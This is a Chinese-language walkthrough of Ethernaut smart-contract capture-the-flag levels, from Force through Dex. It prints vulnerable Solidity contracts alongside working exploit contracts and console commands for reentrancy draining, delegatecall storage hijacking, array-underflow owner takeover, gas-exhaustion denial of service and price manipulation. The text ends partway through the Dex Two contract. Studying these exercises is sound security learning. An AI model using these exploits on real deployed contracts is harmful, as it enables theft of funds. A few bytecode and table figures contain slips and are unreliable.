Ethernaut
Force
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
contract Hack{
constructor(address payable _owner)payable{
selfdestruct( _owner);
}
}
King
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
要求我们成为国王,并且不再改变。
Analyse
然而成为国王需要我们msg.value 超过上个国王的prize,并且msg.sender == owner。显然第二个要求成立,但是当我们成为国王后,需要阻止别人超过我们。这时,我们发现receive函数是先转账,然后再修改成为国王的。因此,如果我们拒绝获得转账,那么就可以保持我们是国王了。
attack
我们需要先得到上个国王的prize,只需运行King合约的prize。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
contract Hack{
constructor(address payable target) payable{
uint prize= King(target).prize();
(bool ok,)=target.call{value: prize}("");
require(ok,'call.failed');
}
//fallback() external payable{
//revert();
//}
}
fallback() external payable{
revert();
}
该函数也就相当于什么的没有,即拒绝转账。
Re-entrancy
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable
要求盗取所有余额。
Analyse
是重入攻击,漏洞在于withdraw函数。可以看到他是先调用了msg.sender.call{value:_amount}("");
然后再在balance里面将存储的余额减去amount。这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,因为call的参数是空,所以会调用攻击合约的fallback函数,我们在fallback函数里面再次调用withdraw,这样套娃,就能将合约里面的钱都偷出来。
Attack
pragma solidity ^0.8.0;
interface IReentrance {
function withdraw(uint256 _amount) external;
}
contract Reentrance {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}
还有一种是循环调用withdraw函数,并加以限制。
我们需要进行donate进行转账,来满足第一个条件,所以
然后执行attack函数。
pragma solidity ^0.8.0;
interface IReentrance {
function withdraw(uint256) external payable;
function donate(address) external payable;
}
contract Hack{
IReentrance private immutable target;
constructor(address _target){
target= IReentrance(_target);
}
function attack() external payable{
target.donate{value: 1e18}(address(this));
target.withdraw(1e18);
require(address(target).balance ==0,'target balance>0');
selfdestruct(payable(msg.sender));
}
receive()external payable{
uint amount=min(1e18,address(target).balance);
if(amount>0){
target.withdraw(amount);
}
}
function min(uint x,uint y) private pure returns(uint){
return x<= y ? x : y;
}
}
Elevator
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
要求到达top floor。
buliding是一个加载调用者得知的接口。而要想达到top floor。则须经过isLastFloor的检测。然而却需要两次检测,第一次是false,第二次是true。
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
contract Hack{
Elevator private immutable target;
uint public count;
constructor(address _target){
target=Elevator(_target);
}
function pwn() external{
target.goTo(1);
require(target.top(),'not top');
}
function isLastFloor(uint) external returns(bool){
count++;
return count>1;
}
}
当我们调用goTo函数时Building building = Building(msg.sender);,将是攻击合约的地址。我们创建isLastFloor,通过跟踪调用次数,来进行检验。
Privacy
要求unlock为false,
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true; //1 slot0
uint256 public ID = block.timestamp; // 32 slot1
uint8 private flattening = 10; //2 slot2
uint8 private denomination = 255; //2 slot2
uint16 private awkwardness = uint16(block.timestamp); //4 slot2
bytes32[3] private data; //32 slot3
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}
要想解开,需要使 _key == bytes16(data[2]), 也就是说我们需要得到定长数组data的第三个数据。由于变量是私有的,没有getter函数可以直接调用获得存储的key。
但是可以使用web3库来调用。根据存储的规则,data数组为定长数组,第一个数据存储再slot3,所以data[2]存储在slot5.
然后需要前16个字节,两个字符为一个字节,2+2*16=34
得到密钥,然后将其合约填入并调用unlock函数即可通关。
Gatekeeper Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
三个关卡,然后true
Analyse
第一关我们可以使用智能合约调用enter,而不是账号。
第二关,只允许外部调用,不允许合约之间调用。
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
第三关
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
uint64(0) – 1,为uint64最大值。
bytes8(keccak256(abi.encodePacked(msg.sender)))部分是从msg.sender(即本例中的Exploiter合约)中抽取低位的8字节并将其转换为uint64。
指令a ^ b是位的XOR(异或)操作。XOR 操作是这样的:如果位置上的两个位相等,将产生一个 "0",否则将产生一个 "1"。为了使a ^ b = type(uint64).max(都是1), b必须是a的逆数。
这意味着我们的gateKey必须是bytes8(keccak256(abi.encodePacked(msg.sender))的逆数。
在solidity中,没有 "逆数"的操作,但我们可以通过输入数和一个只有 "F"的值之间做 "XOR "来重新创建它。
所以只需计算bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF
attack
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract attack{
constructor(address _vum){
bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
bytes memory payload = abi.encodeWithSignature("enter(bytes8)",_key);
(bool success,)=_vum.call(payload);
require(success,"failed");
}
}
Naught Coin
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
要求代币变为0即可。
ERC20标准转账代币有两种方式,transfer以及transferFrom,但是transfer被重写了,所以只能用
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
但是转帐前,需要approver授权。
//secondaddr是另外一个账户地址
secondad='0x02823a3D576A35988a623BB3d7F9e9A6D0ae7674'
totalvalue='1000000000000000000000000'
//给自己授权
await contract.approve(player,totalvalue)
await contract.transferFrom(player,secondaddr,totalvalue)
Preservation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}
要求获得合约所有权。
本题的关键就是delegatecall函数,该函数调用后内置变量 msg
的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)。也就是说
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
当这两个函数调用时,他们改变的是slot0的变量,而我们要求改变合约的拥有者,即slot2处的变量。而这两个合约的变量分布为
===================================================
unused | timeZone1Library
--------------------------------------------------- slot 0
12 bytes | 20 bytes
===================================================
unused | timeZone2Library
--------------------------------------------------- slot 1
12 bytes | 20 bytes
===================================================
unused | owner
--------------------------------------------------- slot 2
12 bytes | 20 bytes
===================================================
storedTime
--------------------------------------------------- slot 3
32 bytes
===================================================
===================================================
storedTime
--------------------------------------------------- slot 0
32 bytes
===================================================
所以当我们调用setFirstTime函数时,我们调用的是setTime函数。因此,我们可以将timeZone1Library的地址改为攻击合约的地址,然后在攻击合约中写一个setime函数,当执行imeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));时,就可以调用攻击合约的setime函数。
我们需要注意owner占据slot2 的低20个字节即可
pragma solidity ^0.8.0;
contract AttackPreservation {
// stores a timestamp
address doesNotMatterWhatThisIsOne;
address doesNotMatterWhatThisIsTwo;
address maliciousIndex;
function setTime(uint _time) public {
maliciousIndex = address(uint160(_time));
}
}
部署完成后,执行await contract.setFirstTime(‘攻击合约’)
然后再执行 await contract.setFirstTime(‘player’)就可以了。
Recovery
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
从合约地址找回丢失的0.5eth
Analyse
通过自毁函数进行转账
function destroy(address payable _to) public {
selfdestruct(_to);
}
更新msg.sender余额
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
只需找到合约地址实行自毁函数将eth转会玩家地址就行。
寻找地址
-
通过etherscan进行查找
-
计算得到
pragma solidity ^0.8.0; contract Hack { function getdd(address target) public view returns (address) { address data = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), target, bytes1(0x01)))))); return data; //0x8B7bAdf88cBaE3F8Ed26Df75475133E4972bB606 } }
Attack
pragma solidity ^0.8.0;
contract attack {
address payable target; //合约地址
address payable myaddr; //player
constructor(address payable _addr, address payable _myaddr) public {
target=_addr;
myaddr=_myaddr;
}
function exploit() public{
target.call(abi.encodeWithSignature("destroy(address)",myaddr));
}
}
部署后运行 exploit函数就行。
MagicNumber
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MagicNum {
address public solver;
constructor() {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
题目的意思就是部署一个合约 Solver ,要求在被调用 whatIsTheMeaningOfLife() 函数时返回 42 就可以了,但有一个限制是不能超过 10 个 opcode
合约创建
-
首先,用户或合约想以太坊发送交易。包括数据但没有接受人的地址(没有
to
地址)。此格式向 EVM 指示是 ,而不是常规发送/调用事务。contract creation
-
然后,EVM将solidity中的代码翻译为字节码,可直接转为操作码,在单个调用栈堆中执行。需要注意的重要一点:字节码包含 1) 和 2) 合约的实际值,按顺序连接。
contract creation
:initialization code``runtime code
-
在congtract creation期间,EVM仅仅执行initialzation code,知道到达栈堆中第一条stop或start令,在此期间,合约的contructor会执行,合约就有地址了。在运行
initialization code
后,只有runtime code
在堆栈上,然后将这些 opcode 拷贝 到memory
并返回到EVM
-
最后,EVM将runtime code返回的opcode存储在state storage,并于新地址相关联,合约被调用时,这些runtime code将会执行。
Analyse
-
所以为了解决该题,我们需要
initialization opcodes
runtime codes
initialization opcodes
: 由EVM
运行创建合约并存储将来要用的runtime codes
runtime codes
: 包含所需的实际执行逻辑。对于本题来说,这是应该返回的代码的主要部分,应该 return 42 并且 under 10 opcodes
runtime codes :
返回值由 return(p,s),在此之前,使用mstore(p,v)储存在内存中
0x602a ;PUSH1 0x2a v
0x6080 ;PUSH1 0x80 p
0x52 ;MSTORE #将0x2a移动到0x80
首先,使用 mstore(p, v) 将 42 存储在内存中,其中 p 是在内存中的存储位置, v 是十六进制值,42 的十六进制是 0x2a
0x6020 ;PUSH1 0x20 s
0x6080 ;PUSH1 0x80 p
0xf3 ;RETURN
使用 return(p, s) 返回 0x2a ,其中 p 是值 0x2a 存储的位置,s 是值 0x2a 存储所占的大小 0x20 ,占32字节
runtime codes :302a60805260206080f3 正好10 opcodes
initialization codes
;copy bytecode to memory
0x600a ;PUSH1 0x0a S(runtime code size)
0x60?? ;PUSH1 0x?? F(current position of runtime opcodes)
0x6000 ;PUSH1 0x00 T(destination memory index 0)
0x39 ;CODECOPY
首先,initialization codes 需要先将 runtime codes 拷贝到内存,然后再将其返回到 EVM 。将代码从一个地方复制到另一个地方是 codecopy(t, f, s) 操作码。t 是代码的目标位置,f 是 runtime codes 的当前位置,s 是代码的大小,以字节为单位,对于 602a60805260206080f3 就是 10 bytes
第一步PUSH1 0x0a对应的是length变量,因为我们上面构造的opcode序列长度为10。第二步PUSH1 0x0c是因为,初始化代码的长度为0xB,也就是运行时代码的字节码是从0xc偏移开始的,因此offset为0xc。第三步PUSH1 0是指定将我们的代码复制到memory的slot 0处。前4条指令,完成了将0xC到0x16这10个字节复制到memory的0x00到0xA位置处的任务(,60 0c指令确实起到了指定源代码起始偏移量的作用。正如您所指出的,前面的6个字节(60 0a 60 0c 60 00 39)是用来配置这次复制操作的指令,分别指定了复制的长度、源代码的起始偏移以及目标内存的起始位置。因此,从第7个字节(偏移量0x0c)开始的数据才是实际需要被复制的代码内容。)
;return code from memory to EVM
0x600a ;PUSH1 0x0a S
0x6000 ;PUSH1 0x00 P
0xf3 ;RETURN
需要将内存中的 runtime codes 返回到 EVM
initialization codes
总共占了 0x0c 字节,这表示runtime codes
从索引 0x0c 开始,所以 ?? 的地方是 0x0c- 所以,
initialization codes
最后的顺序是 600a600c600039600a6000f3
initialization codes:600a600c600039600a6000f3
Attack
opcodes :0x600a600c600039600a6000f3602a60805260206080f3
var bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
web3.eth.sendTransaction({ from: player, data: bytecode }, function(err,res){console.log(res)});
#查看交易记录 得到 to:0x820e93bfa60c20a9166e0955fd842d09f268b1ca
await contract.setSolver('0x820e93bfa60c20a9166e0955fd842d09f268b1ca');
Alien Codex
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
Analyse
要求获得owner的权限,合约继承自Owenable合约,其中有 _owenr状态变量,则可以推出存储布局
-------------------------------
| contact(1)| _owner(20) | <- slot 0
-------------------------------
| codex.length(32) | <- slot 1
-------------------------------
| codex[0] | <- slot keccak256(1)
-------------------------------
| ... | <- slot ...
-------------------------------
| codex[2^256-1-keccak256(1)] | <- slot max
-------------------------------
可以看出codex长度没有设置,可以通过retract函数可以使数组长度溢出,然后可以通过revise方法进行数组赋值。所以,本题可以codex数组溢出到slot0来修改owner的存储。
x=keccak256(bytes32(1))) ,那么当我们修改 codex[y],(y=2^256-x+0) 时就能修改 slot 0 ,从而修改 owner。
但是由于函数修改器的存在,我们需要使用makeContact()函数来解除限制。
Attack
第一步我们先解除限制
await contract.makeContact()
然后使用retract实现数组溢出
await contract.retract()
由于数组长度没有定义,所以为0,只要调用retract()函数,就会溢出,然后调用revise()函数修改数组长度,从而修改owner。
然后只需修改codex[2^256 - keccak256(1)]的值就可以改变owner。
pragma solidity ^0.4.24;
contract codex {
function cal() view returns(bytes32){
return keccak256((bytes32(1)));
}
//0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
}
y = 2^256 - keccak256(1)=0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a
然后调用revise函数,第二个参数必须补全32位。
await contract.revise(
"0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a",
"0x000000000000000000000000D15e151C53bfbDcaf21f5FC849167c526c5A4572")
然后就可以通关了。
Denial
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
这是一个简单的钱包,会随着时间的推移而流失资金。您可以成为提款伙伴,慢慢提款。
通关条件: 在owner调用withdraw()时拒绝提取资金(合约仍有资金,并且交易的gas少于1M
要求阻止提取资金。
transfer与send相似,都为转账操作
transfer出错抛出异常
send、call出错不抛出异常,返回true或false
tansfer相对send更安全
send、call即便转账失败也会执行其后的代码
慎用call函数转账,容易发生重入攻击。
Analyse
本题会通过call以及transfer函数来进行转账。每当用户提款时,会调用withdraw函数,取出1%发给partner,还有1%发给owner.
本题代码漏洞在于call函数没有检查返回值和指定gas。所以如果在调用call函数时消耗了所有的gas,那么call函数就会 触发 out of gas错误,而之后的transfer函数也会因为gas不足而导致失败。
这里有两种思路,一种是通过循环不断消耗gas,另外一种是通过assert来做条件检查
assert 抛出panic错误时会终止执行。
Attack
第一种
pragma solidity ^0.6.0;
contract Attack {
address public target;
constructor(address payable _addr)public payable{
target=_addr;
target.call(abi.encodeWithSignature("setWithdrawPartner(address)", address(this)));
}
fallback() payable external {
while(true){
}
}
}
第二种
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract DenialAttack {
fallback() external payable {
assert(false);
}
}
然后执行await contract.setWithdrawPartner(“0x03e1a1cf7fc319822355dce72c50b368094546ef”)
Shop
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
Сan you get the item from the shop for less than the price asked?
Things that might help:
Shop expects to be used from a Buyer
Understanding restrictions of view functions
要求少于规定的price。提供price查询方法,当购买时查询一下buyer.price。购买成功后记录buyer.price。也就是我们只要在成功购买后给一个更低的price即可。
本题是一个购买合约,要求购买时价格小于规定的价格。
Analyse
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
发现第一次使用buy函数时时false,但是当第二次使用该函数的时候,isSold为true,就在这里修改price即可。
Attack
pragma solidity ^0.8.0;
interface IShop{
function buy() external;
function isSold() external view returns(bool);
}
contract Attack{
IShop public shop;
constructor(address _target){
shop = IShop(_target);
}
function price() external view returns(uint256){
return shop.isSold() ?0 :100 ;
}
function buyAttack() external {
shop.buy();
}
}
根据isSold()函数修改price()函数的返回值
Dex
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.
You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a "bad" price of the assets.
Quick note
Normally, when you make a swap with an ERC20 token, you have to approve the contract to spend your tokens for you. To keep with the syntax of the game, we've just added the approve method to the contract itself. So feel free to use contract.approve(contract.address, <uint amount>) instead of calling the tokens directly, and it will automatically approve spending the two tokens by the desired amount. Feel free to ignore the SwappableToken contract otherwise.
Things that might help:
How is the price of the token calculated?
How does the swap method work?
How do you approve a transaction of an ERC20?
Theres more than one way to interact with a contract!
Remix might help
What does "At Address" do?
通关条件: 获取内部所有代币,dex拥有100 token1 和100 token2,而合约拥有10 token1 和10 token2。
Analyse
先看SwappableToken
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
简单的ERC20代币,在构造函数中为msg.sender发行initialSupply数量,重写approve,防止_dex授权
再看Dex ,主要实现了token1和token2的交换
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
第一个require检测token1到token2的交换或者反过来。
然后是计算兑换价格
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
也就是说当兑换token y的时候,amount* token y的余额/token x的余额,而solidity的计算是向下取整的。
Attack
最开始我们是10a和10b,dex则是100a和100b,所以第一次计算就变成了0a和20b,dex变成110a和90b。第二次兑换就变成了20*110b/90a=24a
所以依次计算。
token1 | token2 | ||
---|---|---|---|
initialize | pool | 100 | 100 |
player | 10 | 10 | |
token1-> token2: 10 | pool | 110 | 90 |
player | 0 | 24 | |
token2->token1: 20 | pool | 86 | 110 |
player | 24 | 0 | |
token1->token2: 24 | pool | 110 | 80 |
player | 0 | 30 | |
token2-> token1: 30 | pool | 69 | 110 |
player | 41 | 0 | |
token1->token2: 41 | pool | 110 | 45 |
player | 0 | 65 | |
token2->token1: 45 | pool | 110 | 90 |
player | 45 | 110 |
// 授权合约转账player的两个token
await contract.approve(instance,10000)
// 设置两个token变量
const token1 = await contract.token1()
const token2 = await contract.token2()
// 执行来回swap方法
await contract.swap(token1,token2,10)
await contract.swap(token2,token1,20)
await contract.swap(token1,token2,24)
await contract.swap(token2,token1,30)
await contract.swap(token1,token2,41)
await contract.swap(token2,token1,45)
// 检查合约中token2的数量
(await contract.balanceOf(token1,instance)).toString() => 0
Dex Two
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
